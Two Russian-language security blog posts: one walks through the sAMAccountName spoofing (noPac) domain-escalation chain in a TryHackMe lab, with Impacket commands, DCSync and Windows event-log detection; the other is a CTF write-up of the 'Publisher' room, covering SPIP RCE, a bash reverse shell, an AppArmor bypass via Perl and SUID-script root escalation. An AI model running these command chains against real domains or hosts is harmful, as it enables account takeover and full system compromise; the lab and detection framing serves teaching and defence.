@cherepawwka

Кто обзывается — тот SAM так называется

2024-11-30T01:51:20.501Z

Всем привет!

Не так давно на одном из проектов мне довелось встретиться лицом к лицу с небезызвестной уязвимостью, которая привлекла моё внимание. Хоть уязвимость давно изучена и на неё есть грамотные детекты, ни одно из правил корреляции не отработало, и среди тысяч событий на контроллере домена пришлось искать те, которые прямо или косвенно могут свидетельствовать о её эксплуатации. Почему так? Просто не на всех хостах бывает грамотно настроен аудит, который просто необходим для работы правил корреляции. Так было и в этом случае.

Сегодня мы об этой уязвимости (а, точнее, о паре уязвимостей), которые могут помочь вам повысить привилегии с обычного пользователя до доменного администратора за несколько простых шагов.
Имя этому — sAMAccountName spoofing!

Теория

В ноябре 2021 года внимание многих исследователей привлекли две уязвимости, поскольку их комбинация позволяет злоумышленнику повысить свои права до администратора домена, если в распоряжении атакующего есть скомпрометированная УЗ пользователя в домене.

Суть уязвимости CVE-2021-42278 (sAMAccountName spoofing) состоит в том, что по умолчанию пользователь может добавлять компьютеры в домен (до 10 узлов), а также изменять атрибут sAMAccountName добавленных компьютеров (а точнее их доменных учетных записей). Чтобы узнать, у кого есть права на добавление компьютеров в домен, необходимо проверить в групповых политиках настройку SeMachineAccountPrivilege в разделе Default Domain Controller Policy (Computer Configuration\Windows Settings\Security Settings\User Rights Assignment\). Данная уязвимость используется не сама по себе, а для эксплуатации уязвимости CVE-2021-42287, которая позволяет выдать скомпрометированный узел за контроллер домена.
Давайте поговорим об уязвимостях поподробнее.

1. CVE-2021-42278 — name impersonation

Как известно, учетные записи компьютеров должны иметь символ $ в своем имени (имеется в виду атрибут sAMAccountName), но ранее не существовало процесса проверки, чтобы убедиться в этом.

Немного о sAMAccountName
sAMAccountName — имя учетной записи SAM, предназначенное для совместимости со старыми операционными системами (до Windows 2000). Впрочем это не означает, что sAMAccountName не используется в качестве имени для входа в современных системах Windows. Значение атрибута sAMAccountName для УЗ должно быть уникальным в рамках домена, имеет ограничение в 20 символов и работает в сочетании с NETBIOS именем домена, например LAB\ivanov_ii. sAMAccountName является обязательным атрибутом пользователя.

2. CVE-2021-42287 — обман KDC

При запросе сервисного билета (ST, TGS) принципалу сначала требуется предоставить TGT. Если запрашиваемый в рамках билета сервис не найден KDC, KDC автоматически выполняет повторный поиск, добавляя символ $ в конце имени. Иными словами, когда клиент запрашивает ST, контроллер сперва смотрит в предоставленный клиентом TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта "name$".

Так, уязвимость CVE-2021-42287 заключается в том, что при выполнении проверки подлинности Kerberos в случае, если TGS был запрошен для учетной записи, которую не удалось найти, KDC добавит к ней в конце $ и попытается найти ее снова.
Представим ситуацию, когда скомпрометированный узел запросит ST с предоставлением TGT, полученного для учетной записи, названной так же, как и контроллер домена, а затем (перед запросом ST) переименованной, то ему будет выдан ST с правами контроллера домена, так как KDC не удастся сразу найти такую учетную запись, вместо этого он обнаружит УЗ с $ на конце, которая и будет являться sAMAccountName контроллера домена.

Звучит сложно и непонятно? Не переживайте, сейчас разберемся.

В рамках атаки используется расширение Kerberos S4U2self. Расширение Kerberos S4U2self позволяет службе запрашивать билет от имени пользователя для себя, который затем можно использовать в S4U2proxy. Это сделано для того, чтобы разрешить делегирование Kerberos для тех клиентов, которые не поддерживают протокол Kerberos.

Эксплуатация

Возможность редактирования атрибутов sAMAccountName и servicePrincipalName учетной записи компьютера для осуществления атаки является обязательным требованием.
Самый простой способ выполнить это требование — создать учетную запись компьютера (например, используя атрибут MachineAccountQuota в случае, если он больше 0). Создатель новой учетной записи компьютера имеет достаточно привилегий для редактирования ее атрибутов. Если же MAQ равен нулю, альтернативный способ эксплуатации — получение контроля над владельцем/создателем учетной записи компьютера в рамках, например, горизонтального перемещения.
Для того чтобы определить, есть ли у этой УЗ права на добавление компьютеров в домен, воспользуемся инструментом windapsearch. Команда:

python3 windapsearch.py --dc [IP-адрес контроллера домена] -u [полное имя пользователя в домене] -p [пароль] --custom '(&(objectClass=domain)(distinguishedName= [distinguishedName домена]))' --attrs ms-ds-machineAccountQuota

MAQ по умолчанию в домене

Атаку можно осуществить следующим образом:

1. Очистить атрибут servicePrincipalName учетной записи контролируемой машины от любого значения, указывающего на ее имя (например host/machine.domain.local, RestrictedKrbHost/machine.domain.local);
Изменить атрибут sAMAccountName учетной записи контролируемой машины на имя контроллера домена без завершающего символа $, что возможно благодаря CVE-2021-42278;
Запросить TGT для УЗ контролируемой машины;
Изменить sAMAccountName учетной записи контролируемой машины до ее первоначального значения (или любого другого, отличного от имени контроллера домена без конечного $);
Запросить S4U2self ST, предъявив полученный ранее TGT, где вступает в бой CVE-2021-42287;
Получить доступ к контроллеру домена (например, DCSync или шелл).

В рамках подготовки материала я развернул уязвимую лабораторию, состоящую из одного контроллера домена и атакующей машины с Kali, однако, чтобы у каждого из вас была возможность при желании повторить эту атаку, я переписал материал под уязвимую машину Enterprise с TryHackMe. Эксплуатация этой уязвимости — незапланированный вектор решения этой комнаты, и мы рассматриваем его только в обучающих целях.

Полный перечень команд, которыми осуществлялась успешная эксплуатация, приведу сразу ниже:

# Создаём УЗ компьютера при помощи Impacket
impacket-addcomputer -computer-name 'mypc$' -computer-pass 'P@ssw0rd' -dc-host LAB-DC -domain-netbios LAB 'LAB.ENTERPRISE.THM/nik:ToastyBoi!'

# Переименовывем УЗ компьютера, выбираем имя контроллера домена без $
./renameMachine.py -current-name 'mypc$' -new-name 'LAB-DC' -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!'

# Запрашиваем TGT для нашего ПК lab-dc
impacket-getTGT -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC':'P@ssw0rd'

# Сбрасываем имя УЗ компьютера на первоначальное (или любое)
./renameMachine.py -current-name 'LAB-DC' -new-name 'mypc$' -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'nik':'ToastyBoi!'

# Получаем ST с S4U2self, предоставляя полученный на 3 шаге TGT:
KRB5CCNAME='LAB-DC.ccache' python3 getST.py -self -impersonate 'banana' -altservice 'cifs/LAB-DC.LAB.ENTERPRISE.THM' -k -no-pass -dc-ip 'LAB-DC.LAB.ENTERPRISE.THM' 'LAB.ENTERPRISE.THM'/'LAB-DC'

# pwned?
KRB5CCNAME='banana@cifs_LAB-DC.LAB.ENTERPRISE.THM@LAB.ENTERPRISE.THM.ccache' impacket-secretsdump -k -no-pass LAB-DC.LAB.ENTERPRISE.THM -dc-ip LAB-DC.LAB.ENTERPRISE.THM

Демонстрация атаки

Пусть у нас есть уязвимый контроллер домена:

Результат сканирования цели nmap

Набор портов говорит о том, что это DC (иначе откуда там LDAP, Kerberos, DNS и т.п.). Поскольку мы будем абъюзить Kerberos, добавляем запись в hosts:
10.10.89.250 LAB-ENTERPRISE LAB-DC.LAB.ENTERPRISE.THM LAB-DC

На текущем этапе мы уже взяли первого пользователя (например, отравили WPAD и нашли жертву, которая ввела пароль в Basic Auth), и нам известны его креды: LAB.ENTERPRISE.THM/nik:ToastyBoi!

Проверим, что пользователь валидный, а заодно перечислим всех пользователей в домене. Для этого я буду использовать CrackMapExec:

CME с нашим пользвателем

Мы мало что понимаем об их сущности, так что давайте осуществим перечисление домена при помощи LDAP (эту активность, как синей команде, нам помогает найти событие 1644 на контроллере домена):

ldapdomaindump -u 'LAB.ENTERPRISE.THM\nik' -p 'ToastyBoi!' -d LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM

Результат LdapdomainDump

ldapdomaindump даёт очень красивый результат, и мы можем подробнее познакомиться с нашими пользователями.

Мне приглянулся юзер banana, и у него есть определенные привилегии относительно DC. Почему banana? Да я просто чилловый парень и люблю бананы:

Нам нужно будет олицетворить этого пользователя, не зная его пароль и вообще ничего о нем. Получится? Давайте посмотрим!

Добавим объект компьютера в домен с определённым логином и паролем. Они могут быть любыми, но для красоты и простоты не будем усложнять:

Добавление УЗ компьютера и её переименование

Тут же при помощи скрипта renameMachine изменяем ему имя на имя, соответствующее контроллеру домена: LAB-DC.LAB.ENTERPRISE.THM.
Недостающий скрипт качаем отсюда.

Далее запрашиваем TGT для заведённой нами УЗ компьютера. Благо, сделать это нетрудно, так как мы знаем пароль:

Запрос TGT и переименование УЗ нашего компьютера

После получения TGT меняем имя компьютера, чтобы при запросе сервисного билета SAM lab-dc найден не был, и повторный поиск был осуществлён для lab-dc$ (а это УЗ контроллера домена).

Используя TGT, запрашиваем TGS при помощи скрипта getST.py. На этом этапе может возникнуть проблема (Impacket может не знать свитч -self, поэтому используем скрипт, где эта опция точно есть). Скачать его можно здесь.

Если нет понимания, куда тыкать, забираем напрямую при помощи wget:

wget https://github.com/ShutdownRepo/impacket/blob/2fc02e655bd799465fa62d235905263b00cf2db3/examples/getST.py

Запрос билета и имперсонификация пользователя banana

Сразу же после запроса сервисного билета осуществляем DCSync:

DCSync!

Автоматизация действий

До сих пор кажется, что, как будто бы, каждый раз проделывать такой трюк довольно сложно. Тем более пытаться разобраться в работе скриптов, которые нужно скачивать с гитхаба.
На помощь приходит скрипт noPac, который проделывает все эти шаги за вас!
Синтаксис у него очень похож на синтаксис Impacket:

python3 /opt/noPac/noPac.py LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip 10.10.89.250 -dc-host LAB-DC -shell --impersonate administrator -use-ldap

В результате мы можем получить тикет от имени любой УЗ в домене на право доступа к контроллеру домена. Да, и билет мы можем получить, не зная об учетной записи ничего кроме её имени. В идеале нас интересует УЗ администратора домена.
Давайте проделаем атаку и имперсонируем себя непривилегированным пользователем:

Ошибка доступа...

Действительно, атака была неудачная.

Но стоит нам взять администратора:

Запуск Whoami от системы на DC!

И мы получаем шелл от имени SYSTEM на узле контроллера домена, что открывает дальнейший простор для атаки, по сути означая компрометацию всего домена!

Если присмотреться, то этапность атаки та же самая, только в начале есть ещё одна проверка — проверка MAQ, о которой я говорил в самом начале.

Обнаружение

Для демонстрации атаки в журналах Windows на уже скомпрометированной машине я завёл логирование и очистил логи. После успешной эксплуатации вытащил журнал, и всё для того, чтобы показать результаты вам!
Давайте поэтапно пройдемся по всем шагам атаки.

Анализ атаки стоит начинать с поиска успешных входов. В данном случае мы получаем информацию о скомпрометированной УЗ и адресе источника атаки.

4624 — событие успешного входа

Событие 4624

Входов будет несколько, и первый их них связан с получением атрибута MAQ.
Нас же интересует второй вход:

4741 — событие создание УЗ компьютера

Событие 4741

Здесь мы обращаем внимание на имя создаваемого ПК, его ID, атрибут SAM Account Name, а также пользователя и ID сессии. Это помогает нам скоррелировать это событие с событием успешного входа, где виден IP-адрес источника атаки.
Рядом будет событие 4724 о сбросе пароля от УЗ компьютера — 4724, но оно нам не очень интересно (хотя видно, что это один из этапов атаки).

Событие 4724

4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ

После добавления компьютера, очистки атрибутов его УЗ и изменения пароля, мы должны увидеть событие изменения имени учетной записи. Новое имя учетной записи SAM должно совпадать с именем DC (в нашем случае LAB-DC). В этом нам поможет событие 4742:

Событие 4742

Здесь мы обращаем внимание на SID изменяемой учетной записи, пользователя, ID-сессии и новое имя.
Помимо события 4742 поможет событие об изменении имени УЗ — 4781.

Событие 4781

4768 — запрос TGT

После переименования УЗ подконтрольного компьютера для неё должен быть запрошен TGT. Это нам покажет событие 4768:

Событие 4768

Что нам интересно здесь:

Имя УЗ, для которой запрашивается билет (совпадает с именем DC, но без $);
Источник;
SID УЗ (это SID созданного компьютера);
Тип шифрования билета (он отличается от привычного для Impacket 0x17).

4742 — изменение УЗ компьютера, 4781 — изменение имени УЗ

После успешного запроса TGT УЗ компьютера должна быть снова переименована, и обнаружить это помогают события 4742 и 4781, уже известные нам:

4769 — запрос TGS

Следующим этапом идёт запрос TGS с использованием ранее выданного TGT. Здесь на помощь приходит событие 4769:

Здесь стоит обратить внимание на имя учетной записи, а также на источник, с которого идёт запрос. Это помогает нам скоррелировать указанное событие с ранее наблюдаемыми.

4624 — событие успешного входа, 4672 — привилегированный вход

В рамках атаки я старался получить TGS для другой учетной записи — banana. К сожалению, эта информация не отображена в событии запроса TGS, но сразу же после запроса билета мы наблюдаем событие успешной аутентификации по протоколу Kerberos, а также назначенные привилегии (благодаря аудиту события 4672):

Дальнейшие события были связаны с исполнением команд на контроллере. Осуществляется это исполнение через удалённое создание служб:
Событие 5145 (доступ к шаре):

Событие 4697 (создание службы, используемого для исполнения команд):

Событие 4688 (создание процесса):

Результат исполнения команды отображается в \\127.0.0.1\ADMIN$\__output, и несложно понять, что следующим событием будет подключение к ресурсу ADMIN$ к файлу __output:

Ниже видна запись в этот файл:

Удаленное чтение файла:

И его удаление:

На этом увлекательное путешествие по этим уязвимостям подошло к концу. Надеюсь, вы узнали для себя что-то новое!

История одного привеска: AppArmor

2024-09-27T08:20:36.681Z

Предисловие

Всем привет! С началом ведения этого канала (который по сути был заметками энтузиаста, желающего как можно скорее вкатиться в ИБ) я делал немало материалов, где делился информацией, полученной в ходе решения тех или иных CTF. Суть была проста: не просто показать решение, а ещё и привести к нему необходимую теорию, чтобы читающий мог полностью понять контекст той или иной уязвимости. Сейчас времени на решение CTF стало меньше, интересные кейсы из жизни обрастают NDA, в силу чего до канала не доходит всё то, чем бы я так хотел поделиться. Но периодически я всё же возвращаюсь к решению тасков, и об одном из них сегодня пойдёт речь. Этот материал, как и весь материал в канале, призван научить вас чему-то новому, рассказать о том, что многие, возможно, не знали или не слышали. А для тех, кто знал или слышал, взглянуть на мою (или уже нашу) точку зрения при решении вопроса. Почему нашу? Этот материал я писал не один, а вместе с @collapsz, одним из моих учеников, которого я своё время вдохновил на поедание питсы🍕 (и изучение кибербеза). Не будем долго тянуть и приступим!

Введение

Сегодняшний материал — это тоже своеобразная заметка, сформированная после решения таска на одной из платформ. Мы будем препарировать Publisher, комнату с THM.

Для решения этой комнаты нам потребуется базовый набор инструментов:

ffuf;
BurpSuite (опционально);
Эксплоит с GitHub;
IDA (да, это не шутка);
LinPEAS.

Поехали разбираться!

Первоначальный доступ

Спавним машинку, и первым делом, само собой, запускаем сканирование портов

используем nmap с флагами -sC и -sV для определения сервисов и их версий;
результат записываем в файл nmap_initial.

sudo nmap -sC -sV 10.10.177.241 > nmap_initial

На выводе получаем стандартный набор портов – 80 и 22. Видим, что на 80 порту крутится Apache 2.4.41, а на 22 – OpenSSH 8.2p1.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 03:31 EDT
Nmap scan report for 10.10.177.241
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.68 seconds

Никаких задокументированных уязвимостей, которые могли бы нам помочь проломить вэб, на эту версии ПО нет, а на 22 порту нас, очевидно, никто не ждет, поэтому отправимся изучать 80, предварительно закинув адрес и доменное имя машины в hosts.

sudo echo "10.10.200.194 publisher.thm" | sudo tee -a /etc/hosts

На 80 порту нас встречает полностью неинтерактивный лендинг CMS Spip, ловить здесь особо нечего, исходный код страниц тоже ничего интересного не расскажет.

Попробуем поискать директории

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://publisher.thm/FUZZ

Находим директорию /spip:

Интересного, казалось бы, ничего нет, однако в коде страницы находим версию CMS – Spip 4.2.0.

Немного погуглив, находим CVE-2023-27372 на эту версию CMS.

Суть уязвимости заключается в возможности удаленного выполнения кода из-за некорректной обработки сериализации, в рамках этой статьи мы не будем подробно на этом останавливаться (тем более про частные случаи сериализации я писал на своём канале). Клонируем репозиторий, запускаем эксплоит и ловим обратный шелл:

python3 CVE-2023-27372.py -u http://10.10.200.194/spip/ -c 'bash -c "bash -i >& /dev/tcp/10.9.1.23/4444 0>&1"' -v

Продвижение

Итак, мы попали в систему:

Немного изучив машину, мы выяснили, что наша следующая цель – пользователь think, а в его домашней директории нас дожидался его ssh-ключ:

Забираем себе этот ключ и подключаемся с ним по ssh:

ssh think@10.10.57.202 -i think.ssh

И здесь мы, наконец, подобрались к тому, из-за чего этому материалу было суждено увидеть свет – эскалация привилегий. Мы загрузили на машинку LinPEAS (ультимативный скрипт для поиска векторов эскалации привилегий), однако при попытке выдать ему права на исполнение получили следующее:

Возникает непонимание, но вернёмся к этому позже. Обойти это ограничение удалось путем предварительной установки необходимых прав перед копированием файла на машину:

chmod +x linpeas.sh
scp -i /home/kali/thm/publisher/think.ssh /home/kali/thm/publisher/linpeas.sh think@publisher.thm:/home/think/1.sh

После запуска LinPEAS нашел SUID-бит на исполняемом файле, не являющимся стандартным для Unix-систем:

Декомпилировав код, мы увидели следующую картину:

В итоге бинарник выполняет следующую команду:

/bin/bash -p /opt/run_container.sh

Несмотря на то, что у нас есть права на чтение директории /opt, прочитать её содержимое нам не удалось – почему так?

Однако, прочитать содержимое run_container.sh, как и права на этом файле, удалось:

Сразу можно заметить, что у нас есть права на запись в этот файл, а значит, SUID-бинарник выполнит любой код, который мы впишем в этот файл, от имени рута. Казалось бы, на этом машина заканчивается – но нет. Попытка изменить содержимое файла run_container.sh закончилась следующим:

Почему же так вышло? Причина этого, конечно же, AppArmor.

AppArmor — программный инструмент, основанный на политиках безопасности (известных также как профили), которые определяют, к каким системным ресурсам и с какими привилегиями может получить доступ то или иное приложение. AppArmor реализует Mandatory Access Control (MAC), привязывая атрибуты контроля доступа непосредственно к программам, а не к пользователям. Во время загрузки ОС AppArmor загружает профили в ядро, и эти профили определяют, к каким ресурсам (сетевым подключениям, raw-сокетам, файлам) та или иная программа может получить доступ.

Существует два режима работы для профилей AppArmor:

Enforcement Mode — этот режим активно применяет ограничения, описанные в профиле, и блокирует действия, которые их нарушают. AppArmor также и регистрирует любые попытки нарушения политик через syslog или auditd.
Complain Mode — в этом режиме AppArmor не блокирует действия. Вместо этого он просто регистрирует попытки нарушения профилей.

Профили AppArmor обычно можно найти в /etc/apparmor.d/. С помощью sudo aa-status можно получить список двоичных файлов, которые ограничены профилем AppArmor. Для поиска профиля под конкретный бинарь необходимо взять его полный путь в системе, изменить символы "/" на точки в пути и добавить в начало /etc/apparmor.d/. Например, профиль AppArmor для /usr/bin/man будет находиться в /etc/apparmor.d/usr.bin.man

Вернёмся к нашей машине. Если проверить содержимое файла /etc/passwd, мы увидим, что у пользователя think по умолчанию установлена оболочка ash

think@publisher:/$ cat /etc/passwd | grep think
think:x:1000:1000:,,,:/home/think:/usr/sbin/ash

Путь — /usr/sbin/ash, меняем / на ., получаем usr.sbin.ash. Теперь пытаемся прочитать профиль, соответствующий нашей оболочке, и видим следующую картину:

think@publisher:/$ cat /etc/apparmor.d/usr.sbin.ash
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}

Таким образом, наша задача – воспользоваться мисконфигурациями в настройке AppArmor для оболочки ash, получить "полноценный" шелл, переписать run_container.sh и захватить рута.

Приступим!

Для начала проанализируем конфигурацию ash:

  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,

Здесь видим следующее:

deny opt/ r означает запрет директории на чтение
deny /opt/** w означает рекурсивный запрет директории на запись, т.е. мы не можем писать ни в /opt/, ни в какую-либо из её субдиректорий
deny /tmp/** w аналогично
deny /dev/shm w – мы не можем писать в /dev/ и не можем изменять директорию /dev/shm, однако в данном случае это правило не является рекурсивным. Проверим директорию /dev/shm/ на возможность создания там нового файла:

Файл записан. Теперь нужно подумать, как нам выйти за пределы ash. Помимо кучи других исполняемых файлов на машине присутствует интерпретатор языка Perl:

think@publisher:/dev/shm$ ls -la /usr/bin/perl
-rwxr-xr-x 2 root root 3478464 Nov 23  2023 /usr/bin/perl

Perl – это высокоуровневый язык программирования, который умеет, в том числе, работать с системными вызовами.

Благодаря этому мы, находясь в ash, можем обратиться к perl и запустить через него /bin/sh, тем самым сняв с себя ограничения, которые мы нашли в конфигурации AppArmor ash. Чтобы реализовать такую "сложную" процедуру, потребуется лишь пара шагов. Первым делом мы записываем команду для вызова /bin/sh в скрипт-файл shell.pl и располагаем этот скрипт в директории /dev/shm/, поскольку знаем, что у нас есть возможность записывать файлы в эту директорию.

echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/shell.pl

Флаг -e используется для включения интерпретации бэкслеша, который используется в нагрузке.

Далее мы добавляем нашему скрипту права на выполнение и просто его запускаем:

chmod +x /dev/shm/shell.pl
./shell.pl

В результате мы получаем unrestricted шелл, внутри которого ограничения AppArmor не работают. Чтобы в этом убедиться, можем просто прочитать содержимое директории /opt/, к которому мы не имели доступа ранее:

Эскалация

Теперь, когда у нас на руках полноценный шелл, возвращаемся к нашему вектору эскалации и пишем в run_container.sh необходимый нам код:

echo '/bin/bash -p' > run_container.sh

Теперь, как только мы запустим бинарник /usr/sbin/run_container, он сразу же выполнит код run_container.sh, в который мы записали вызов шелла:

Так, мы получили привилегированный шелл, и осталось лишь собрать флаги!